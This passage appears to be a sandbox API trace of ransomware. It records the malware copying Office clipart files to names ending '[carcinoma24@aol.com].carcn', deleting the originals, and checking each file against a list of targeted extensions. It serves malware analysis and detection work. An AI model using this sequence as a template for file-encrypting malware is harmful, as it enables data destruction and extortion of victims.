nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0311.758] SetEndOfFile (hFile=0x398) returned 1 [0311.758] CloseHandle (hObject=0x398) returned 1 [0311.758] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.758] SetEndOfFile (hFile=0x384) returned 1 [0311.761] CloseHandle (hObject=0x384) returned 1 [0311.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 1 [0311.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0311.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0311.762] lstrlenW (lpString=".doc") returned 4 [0311.762] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.762] lstrlenW (lpString=".docx") returned 5 [0311.762] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0311.762] lstrlenW (lpString=".pdf") returned 4 [0311.763] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.763] lstrlenW (lpString=".xls") returned 4 [0311.763] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0311.763] lstrlenW (lpString=".xlsx") returned 5 [0311.763] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0311.763] lstrlenW (lpString=".ppt") returned 4 [0311.763] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0311.763] lstrlenW (lpString=".zip") returned 4 [0311.763] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.763] lstrlenW (lpString=".rar") returned 4 [0311.763] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.763] lstrlenW (lpString=".bz2") returned 4 [0311.763] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.763] lstrlenW (lpString=".7z") returned 3 [0311.763] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0311.763] lstrlenW (lpString=".dbf") returned 4 [0311.764] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0311.764] lstrlenW (lpString=".1cd") returned 4 [0311.764] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0311.764] lstrlenW (lpString=".jpg") returned 4 [0311.764] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0311.765] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.765] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0311.766] GetLastError () returned 0x0 [0311.766] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x6b01, lpOverlapped=0x0) returned 1 [0311.784] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x6b10, lpOverlapped=0x0) returned 1 [0311.786] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.786] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0311.786] SetEndOfFile (hFile=0x398) returned 1 [0311.786] CloseHandle (hObject=0x398) returned 1 [0311.787] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.787] SetEndOfFile (hFile=0x384) returned 1 [0311.819] CloseHandle (hObject=0x384) returned 1 [0311.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 1 [0311.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0311.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0311.820] lstrlenW (lpString=".doc") returned 4 [0311.820] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.820] lstrlenW (lpString=".docx") returned 5 [0311.821] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0311.821] lstrlenW (lpString=".pdf") returned 4 [0311.821] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.821] lstrlenW (lpString=".xls") returned 4 [0311.821] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0311.821] lstrlenW (lpString=".xlsx") returned 5 [0311.821] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0311.821] lstrlenW (lpString=".ppt") returned 4 [0311.821] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0311.821] lstrlenW (lpString=".zip") returned 4 [0311.821] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.821] lstrlenW (lpString=".rar") returned 4 [0311.821] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.821] lstrlenW (lpString=".bz2") returned 4 [0311.826] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.826] lstrlenW (lpString=".7z") returned 3 [0311.826] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0311.826] lstrlenW (lpString=".dbf") returned 4 [0311.827] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0311.827] lstrlenW (lpString=".1cd") returned 4 [0311.827] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0311.827] lstrlenW (lpString=".jpg") returned 4 [0311.827] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0311.827] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.828] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0311.830] GetLastError () returned 0x0 [0311.830] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xb544, lpOverlapped=0x0) returned 1 [0311.886] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xb550, lpOverlapped=0x0) returned 1 [0311.888] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.888] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0311.888] SetEndOfFile (hFile=0x398) returned 1 [0311.888] CloseHandle (hObject=0x398) returned 1 [0311.888] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.888] SetEndOfFile (hFile=0x384) returned 1 [0311.890] CloseHandle (hObject=0x384) returned 1 [0311.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 1 [0311.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0311.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0311.891] lstrlenW (lpString=".doc") returned 4 [0311.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0311.891] lstrlenW (lpString=".docx") returned 5 [0311.891] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0311.891] lstrlenW (lpString=".pdf") returned 4 [0311.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0311.891] lstrlenW (lpString=".xls") returned 4 [0311.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0311.891] lstrlenW (lpString=".xlsx") returned 5 [0311.891] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0311.891] lstrlenW (lpString=".ppt") returned 4 [0311.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0311.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0311.891] lstrlenW (lpString=".zip") returned 4 [0311.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0311.891] lstrlenW (lpString=".rar") returned 4 [0311.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0311.891] lstrlenW (lpString=".bz2") returned 4 [0311.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0311.891] lstrlenW (lpString=".7z") returned 3 [0311.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0311.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0311.892] lstrlenW (lpString=".dbf") returned 4 [0311.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0311.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0311.892] lstrlenW (lpString=".1cd") returned 4 [0311.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0311.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0311.892] lstrlenW (lpString=".jpg") returned 4 [0311.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.198] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.199] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0312.200] GetLastError () returned 0x0 [0312.200] ReadFile (in: hFile=0x37c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1104, lpOverlapped=0x0) returned 1 [0312.222] WriteFile (in: hFile=0x384, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1110, lpOverlapped=0x0) returned 1 [0312.223] ReadFile (in: hFile=0x37c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.223] WriteFile (in: hFile=0x384, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.224] SetEndOfFile (hFile=0x384) returned 1 [0312.224] CloseHandle (hObject=0x384) returned 1 [0312.224] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.224] SetEndOfFile (hFile=0x37c) returned 1 [0312.225] CloseHandle (hObject=0x37c) returned 1 [0312.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 1 [0312.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0312.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0312.226] lstrlenW (lpString=".doc") returned 4 [0312.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.226] lstrlenW (lpString=".docx") returned 5 [0312.227] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0312.227] lstrlenW (lpString=".pdf") returned 4 [0312.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.227] lstrlenW (lpString=".xls") returned 4 [0312.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.227] lstrlenW (lpString=".xlsx") returned 5 [0312.227] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0312.227] lstrlenW (lpString=".ppt") returned 4 [0312.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0312.227] lstrlenW (lpString=".zip") returned 4 [0312.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.227] lstrlenW (lpString=".rar") returned 4 [0312.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.227] lstrlenW (lpString=".bz2") returned 4 [0312.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.227] lstrlenW (lpString=".7z") returned 3 [0312.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0312.227] lstrlenW (lpString=".dbf") returned 4 [0312.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0312.227] lstrlenW (lpString=".1cd") returned 4 [0312.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0312.227] lstrlenW (lpString=".jpg") returned 4 [0312.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.235] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.235] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0312.236] GetLastError () returned 0x0 [0312.236] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1a60, lpOverlapped=0x0) returned 1 [0312.258] WriteFile (in: hFile=0x324, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0312.259] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.259] WriteFile (in: hFile=0x324, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.259] SetEndOfFile (hFile=0x324) returned 1 [0312.259] CloseHandle (hObject=0x324) returned 1 [0312.259] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.259] SetEndOfFile (hFile=0x388) returned 1 [0312.260] CloseHandle (hObject=0x388) returned 1 [0312.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 1 [0312.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0312.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0312.261] lstrlenW (lpString=".doc") returned 4 [0312.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.261] lstrlenW (lpString=".docx") returned 5 [0312.261] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0312.261] lstrlenW (lpString=".pdf") returned 4 [0312.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.261] lstrlenW (lpString=".xls") returned 4 [0312.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.261] lstrlenW (lpString=".xlsx") returned 5 [0312.261] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0312.261] lstrlenW (lpString=".ppt") returned 4 [0312.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0312.261] lstrlenW (lpString=".zip") returned 4 [0312.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.261] lstrlenW (lpString=".rar") returned 4 [0312.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.261] lstrlenW (lpString=".bz2") returned 4 [0312.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.261] lstrlenW (lpString=".7z") returned 3 [0312.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0312.261] lstrlenW (lpString=".dbf") returned 4 [0312.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0312.262] lstrlenW (lpString=".1cd") returned 4 [0312.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0312.262] lstrlenW (lpString=".jpg") returned 4 [0312.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.262] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.262] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0312.263] GetLastError () returned 0x0 [0312.263] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2a00, lpOverlapped=0x0) returned 1 [0312.298] WriteFile (in: hFile=0x324, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2a10, lpOverlapped=0x0) returned 1 [0312.299] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.299] WriteFile (in: hFile=0x324, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.299] SetEndOfFile (hFile=0x324) returned 1 [0312.300] CloseHandle (hObject=0x324) returned 1 [0312.300] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.300] SetEndOfFile (hFile=0x388) returned 1 [0312.301] CloseHandle (hObject=0x388) returned 1 [0312.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 1 [0312.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0312.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0312.308] lstrlenW (lpString=".doc") returned 4 [0312.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.308] lstrlenW (lpString=".docx") returned 5 [0312.308] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0312.308] lstrlenW (lpString=".pdf") returned 4 [0312.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.308] lstrlenW (lpString=".xls") returned 4 [0312.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.308] lstrlenW (lpString=".xlsx") returned 5 [0312.308] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0312.308] lstrlenW (lpString=".ppt") returned 4 [0312.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0312.308] lstrlenW (lpString=".zip") returned 4 [0312.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.308] lstrlenW 